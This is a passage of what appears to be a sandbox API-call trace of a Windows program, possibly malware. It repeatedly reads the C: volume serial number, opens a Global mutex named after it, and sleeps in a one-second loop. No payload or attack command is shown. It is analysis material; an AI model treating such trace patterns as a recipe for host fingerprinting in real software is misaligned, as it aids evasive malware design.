RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0223.866] GetProcessHeap () returned 0x6a0000 [0223.866] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0223.866] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x194 [0223.867] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0223.867] CloseHandle (hObject=0x194) returned 1 [0223.867] GetProcessHeap () returned 0x6a0000 [0223.867] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0223.867] GetProcessHeap () returned 0x6a0000 [0223.867] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0223.867] Sleep (dwMilliseconds=0x3e8) [0225.074] GetProcessHeap () returned 0x6a0000 [0225.074] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db278 [0225.074] GetProcessHeap () returned 0x6a0000 [0225.074] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0225.074] GetProcessHeap () returned 0x6a0000 [0225.074] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0225.074] GetProcessHeap () returned 0x6a0000 [0225.074] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0225.074] GetProcessHeap () returned 0x6a0000 [0225.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0225.074] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0225.074] GetProcessHeap () returned 0x6a0000 [0225.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0225.074] GetProcessHeap () returned 0x6a0000 [0225.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0225.075] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0225.075] GetProcessHeap () returned 0x6a0000 [0225.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0225.075] GetProcessHeap () returned 0x6a0000 [0225.075] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0225.075] GetProcessHeap () returned 0x6a0000 [0225.075] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0225.075] GetProcessHeap () returned 0x6a0000 [0225.075] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0225.075] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x194 [0225.075] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0225.075] CloseHandle (hObject=0x194) returned 1 [0225.075] GetProcessHeap () returned 0x6a0000 [0225.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0225.075] GetProcessHeap () returned 0x6a0000 [0225.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0225.076] Sleep (dwMilliseconds=0x3e8) [0226.292] GetProcessHeap () returned 0x6a0000 [0226.292] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0226.292] GetProcessHeap () returned 0x6a0000 [0226.292] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db278 [0226.292] GetProcessHeap () returned 0x6a0000 [0226.292] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0226.292] GetProcessHeap () returned 0x6a0000 [0226.292] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0226.292] GetProcessHeap () returned 0x6a0000 [0226.292] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0226.292] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db278, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0226.292] GetProcessHeap () returned 0x6a0000 [0226.292] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0226.292] GetProcessHeap () returned 0x6a0000 [0226.292] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0226.292] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0226.293] GetProcessHeap () returned 0x6a0000 [0226.293] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0226.293] GetProcessHeap () returned 0x6a0000 [0226.293] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0226.293] GetProcessHeap () returned 0x6a0000 [0226.293] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0226.293] GetProcessHeap () returned 0x6a0000 [0226.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0226.293] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0226.293] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0226.293] CloseHandle (hObject=0x1a0) returned 1 [0226.293] GetProcessHeap () returned 0x6a0000 [0226.293] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0226.293] GetProcessHeap () returned 0x6a0000 [0226.293] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0226.293] Sleep (dwMilliseconds=0x3e8) [0227.588] GetProcessHeap () returned 0x6a0000 [0227.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db278 [0227.588] GetProcessHeap () returned 0x6a0000 [0227.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0227.588] GetProcessHeap () returned 0x6a0000 [0227.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0227.588] GetProcessHeap () returned 0x6a0000 [0227.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0227.588] GetProcessHeap () returned 0x6a0000 [0227.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0227.588] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0227.588] GetProcessHeap () returned 0x6a0000 [0227.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0227.588] GetProcessHeap () returned 0x6a0000 [0227.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0227.588] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0227.589] GetProcessHeap () returned 0x6a0000 [0227.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0227.589] GetProcessHeap () returned 0x6a0000 [0227.589] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0227.589] GetProcessHeap () returned 0x6a0000 [0227.589] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0227.589] GetProcessHeap () returned 0x6a0000 [0227.589] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0227.589] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0227.589] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0227.589] CloseHandle (hObject=0x1a0) returned 1 [0227.589] GetProcessHeap () returned 0x6a0000 [0227.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0227.589] GetProcessHeap () returned 0x6a0000 [0227.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0227.589] Sleep (dwMilliseconds=0x3e8) [0228.622] GetProcessHeap () returned 0x6a0000 [0228.622] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0228.622] GetProcessHeap () returned 0x6a0000 [0228.622] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db278 [0228.622] GetProcessHeap () returned 0x6a0000 [0228.622] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0228.622] GetProcessHeap () returned 0x6a0000 [0228.622] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0228.623] GetProcessHeap () returned 0x6a0000 [0228.623] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0228.623] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db278, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0228.623] GetProcessHeap () returned 0x6a0000 [0228.623] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0228.623] GetProcessHeap () returned 0x6a0000 [0228.623] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0228.623] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0228.623] GetProcessHeap () returned 0x6a0000 [0228.623] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0228.623] GetProcessHeap () returned 0x6a0000 [0228.623] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0228.623] GetProcessHeap () returned 0x6a0000 [0228.623] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0228.623] GetProcessHeap () returned 0x6a0000 [0228.623] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0228.623] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0228.624] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0228.624] CloseHandle (hObject=0x1a0) returned 1 [0228.624] GetProcessHeap () returned 0x6a0000 [0228.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0228.624] GetProcessHeap () returned 0x6a0000 [0228.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0228.624] Sleep (dwMilliseconds=0x3e8) [0229.625] GetProcessHeap () returned 0x6a0000 [0229.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db278 [0229.626] GetProcessHeap () returned 0x6a0000 [0229.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0229.626] GetProcessHeap () returned 0x6a0000 [0229.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0229.626] GetProcessHeap () returned 0x6a0000 [0229.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0229.626] GetProcessHeap () returned 0x6a0000 [0229.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0229.626] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0229.626] GetProcessHeap () returned 0x6a0000 [0229.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0229.626] GetProcessHeap () returned 0x6a0000 [0229.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0229.626] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0229.626] GetProcessHeap () returned 0x6a0000 [0229.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0229.626] GetProcessHeap () returned 0x6a0000 [0229.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0229.627] GetProcessHeap () returned 0x6a0000 [0229.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0229.627] GetProcessHeap () returned 0x6a0000 [0229.627] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0229.627] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0229.627] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0229.627] CloseHandle (hObject=0x1a0) returned 1 [0229.627] GetProcessHeap () returned 0x6a0000 [0229.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0229.627] GetProcessHeap () returned 0x6a0000 [0229.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0229.627] Sleep (dwMilliseconds=0x3e8) [0230.657] GetProcessHeap () returned 0x6a0000 [0230.657] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0230.657] GetProcessHeap () returned 0x6a0000 [0230.657] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db278 [0230.657] GetProcessHeap () returned 0x6a0000 [0230.657] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0230.657] GetProcessHeap () returned 0x6a0000 [0230.657] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0230.657] GetProcessHeap () returned 0x6a0000 [0230.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0230.657] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db278, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0230.657] GetProcessHeap () returned 0x6a0000 [0230.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0230.657] GetProcessHeap () returned 0x6a0000 [0230.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0230.657] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0230.658] GetProcessHeap () returned 0x6a0000 [0230.658] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0230.658] GetProcessHeap () returned 0x6a0000 [0230.658] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0230.658] GetProcessHeap () returned 0x6a0000 [0230.658] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0230.658] GetProcessHeap () returned 0x6a0000 [0230.658] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0230.658] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0230.658] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0230.658] CloseHandle (hObject=0x1a0) returned 1 [0230.658] GetProcessHeap () returned 0x6a0000 [0230.658] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0230.658] GetProcessHeap () returned 0x6a0000 [0230.658] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0230.658] Sleep (dwMilliseconds=0x3e8) [0231.669] GetProcessHeap () returned 0x6a0000 [0231.669] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db278 [0231.669] GetProcessHeap () returned 0x6a0000 [0231.669] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0231.669] GetProcessHeap () returned 0x6a0000 [0231.669] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0231.669] GetProcessHeap () returned 0x6a0000 [0231.669] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0231.669] GetProcessHeap () returned 0x6a0000 [0231.669] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0231.669] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0231.669] GetProcessHeap () returned 0x6a0000 [0231.669] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0231.669] GetProcessHeap () returned 0x6a0000 [0231.669] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0231.669] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0231.670] GetProcessHeap () returned 0x6a0000 [0231.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0231.670] GetProcessHeap () returned 0x6a0000 [0231.670] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0231.670] GetProcessHeap () returned 0x6a0000 [0231.670] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0231.670] GetProcessHeap () returned 0x6a0000 [0231.670] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0231.670] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0231.670] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0231.670] CloseHandle (hObject=0x1a0) returned 1 [0231.670] GetProcessHeap () returned 0x6a0000 [0231.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0231.670] GetProcessHeap () returned 0x6a0000 [0231.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0231.670] Sleep (dwMilliseconds=0x3e8) [0232.683] GetProcessHeap () returned 0x6a0000 [0232.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0232.684] GetProcessHeap () returned 0x6a0000 [0232.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db278 [0232.684] GetProcessHeap () returned 0x6a0000 [0232.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0232.684] GetProcessHeap () returned 0x6a0000 [0232.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0232.684] GetProcessHeap () returned 0x6a0000 [0232.684] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0232.684] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db278, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0232.684] GetProcessHeap () returned 0x6a0000 [0232.684] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0232.684] GetProcessHeap () returned 0x6a0000 [0232.684] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0232.684] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0232.685] GetProcessHeap () returned 0x6a0000 [0232.685] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0232.685] GetProcessHeap () returned 0x6a0000 [0232.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0232.685] GetProcessHeap () returned 0x6a0000 [0232.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0232.685] GetProcessHeap () returned 0x6a0000 [0232.685] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0232.685] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0232.685] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0232.685] CloseHandle (hObject=0x1a0) returned 1 [0232.685] GetProcessHeap () returned 0x6a0000 [0232.685] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0232.685] GetProcessHeap () returned 0x6a0000 [0232.685] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0232.685] Sleep (dwMilliseconds=0x3e8) [0233.697] GetProcessHeap () returned 0x6a0000 [0233.697] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db278 [0233.697] GetProcessHeap () returned 0x6a0000 [0233.697] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0233.697] GetProcessHeap () returned 0x6a0000 [0233.697] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0233.697] GetProcessHeap () returned 0x6a0000 [0233.697] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0233.697] GetProcessHeap () returned 0x6a0000 [0233.697] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0233.697] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0233.698] GetProcessHeap () returned 0x6a0000 [0233.698] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0233.698] GetProcessHeap () returned 0x6a0000 [0233.698] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0233.698] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0233.698] GetProcessHeap () returned 0x6a0000 [0233.698] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0233.698] GetProcessHeap () returned 0x6a0000 [0233.698] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0233.698] GetProcessHeap () returned 0x6a0000 [0233.698] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0233.698] GetProcessHeap () returned 0x6a0000 [0233.698] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0233.698] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0233.699] WaitForSingleObject 